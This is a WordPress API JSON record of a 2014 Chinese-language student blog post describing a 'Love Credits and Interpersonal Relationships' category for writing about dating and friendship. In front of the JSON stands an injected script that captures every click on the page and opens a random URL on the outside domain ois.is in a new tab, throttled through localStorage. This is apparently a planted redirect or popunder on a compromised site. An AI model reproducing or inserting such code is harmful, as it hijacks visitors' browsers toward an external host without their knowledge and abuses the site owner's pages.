<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":512,"date":"2014-05-15T09:45:26","date_gmt":"2014-05-15T01:45:26","guid":{"rendered":"http:\/\/edu.secda.info\/scu8154204\/?p=512"},"modified":"2014-05-25T20:15:24","modified_gmt":"2014-05-25T12:15:24","slug":"%e7%88%b1%e6%83%85%e5%ad%a6%e5%88%86%e4%b8%8e%e4%ba%ba%e9%99%85%e5%85%b3%e7%b3%bb","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154204\/?p=512","title":{"rendered":"\u300c\u611b\u60c5\u5b78\u5206\u8207\u4eba\u969b\u95dc\u4fc2\u300d\u5206\u985e\u8aaa\u660e"},"content":{"rendered":"<p><span style=\"font-size: 12pt; color: #808080;\">\u4e0a\u4e86\u5927\u5b78\u5f88\u5bb9\u6613\u627e\u5230\u60c5\u6295\u610f\u5408\u7684\u7570\u6027\u4ea4\u5f80\uff0c\u5728\u5927\u5b78\u671f\u9593\u4fee\u500b\u300c\u611b\u60c5\u5b78\u5206\u300d\u5427\uff01\u7121\u8ad6\u672a\u4f86\u662f\u5426\u6709\u7d50\u679c\uff0c\u611b\u60c5\u5b78\u5206\u662f\u5b78\u7fd2\u8207\u7570\u6027\u76f8\u8655\u3001\u5b78\u7fd2\u88ab\u62d2\u7d55\u548c\u9762\u5c0d\u56de\u5fa9\u81ea\u4fe1\u7684\u80fd\u529b\u3001\u66f4\u91cd\u8981\u7684\u4e5f\u662f\u5b78\u7fd2\u611b\u5225\u4eba\u7684\u80fd\u529b\u3002<\/span><\/p>\n<p><span style=\"font-size: 12pt; color: #808080;\">\u9664\u4e86\u6709\u95dc\u611b\u60c5\u6545\u4e8b\u9ad4\u9a57\u8207\u5206\u4eab\uff0c\u5c0d\u65bc\u8207\u670b\u53cb\u9593\u7684\u4eba\u969b\u4e92\u52d5\uff0c\u60a8\u4e5f\u53ef\u4ee5\u64b0\u5beb\u5206\u4eab\u5fc3\u60c5\u8207\u611f\u60f3\u7684\u6587\u7ae0\uff0c\u4f5c\u70ba\u65e5\u5f8c\u7684\u56de\u9867\u3002\u7576\u60a8\u64b0\u5beb\u5b8c\u6587\u7ae0\u5f8c\uff0c\u60a8\u53ef\u4ee5\u52fe\u9078\u300c\u611b\u60c5\u5b78\u5206\u8207\u4eba\u969b\u95dc\u4fc2\u300d\u7684\u5206\u985e\uff0c\u4f5c\u70ba\u6587\u7ae0\u67e5\u8a62\u8207\u5206\u985e\u7684\u4f9d\u64da\u3002<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e0a\u4e86\u5927\u5b78\u5f88\u5bb9\u6613\u627e\u5230\u60c5\u6295\u610f\u5408\u7684\u7570\u6027\u4ea4\u5f80\uff0c\u5728\u5927\u5b78\u671f\u9593\u4fee\u500b\u300c\u611b\u60c5\u5b78\u5206\u300d\u5427\uff01\u7121\u8ad6\u672a\u4f86\u662f\u5426<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,5],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/512"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=512"}],"version-history":[{"count":9,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/512\/revisions"}],"predecessor-version":[{"id":692,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/512\/revisions\/692"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=512"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=512"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=512"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}